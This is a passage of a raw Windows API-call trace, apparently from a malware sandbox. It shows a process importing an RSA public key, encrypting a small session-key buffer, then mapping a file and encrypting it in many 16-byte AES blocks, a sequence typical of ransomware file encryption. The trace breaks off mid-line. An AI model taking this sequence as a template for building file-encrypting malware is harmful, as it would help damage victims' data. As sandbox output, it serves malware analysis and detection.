[0128.790] GetTickCount () returned 0x116020b [0128.790] GetTickCount () returned 0x116020b [0128.790] GetTickCount () returned 0x116020b [0128.790] GetTickCount () returned 0x116020b [0128.790] GetTickCount () returned 0x116020b [0128.790] GetTickCount () returned 0x116020b [0128.790] GetTickCount () returned 0x116020b [0128.790] GetTickCount () returned 0x116020b [0128.790] GetTickCount () returned 0x116020b [0128.790] GetTickCount () returned 0x116020b [0128.790] GetTickCount () returned 0x116020b [0128.790] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16688a0) returned 1 [0128.791] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b68) returned 1 [0128.791] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.791] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.791] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0128.791] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x64c, lpName=0x0) returned 0x3c0 [0128.791] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x64c) returned 0x1480000 [0128.792] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668460) returned 1 [0128.792] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639528) returned 1 [0128.792] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.792] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.792] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.793] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.794] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.795] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.795] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.795] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.795] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.795] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.795] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.795] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.795] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.795] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.795] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.795] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.796] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.796] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.796] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.796] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.796] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.796] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.796] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.796] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.796] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.796] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.796] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.796] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.796] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.796] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.796] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.797] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, 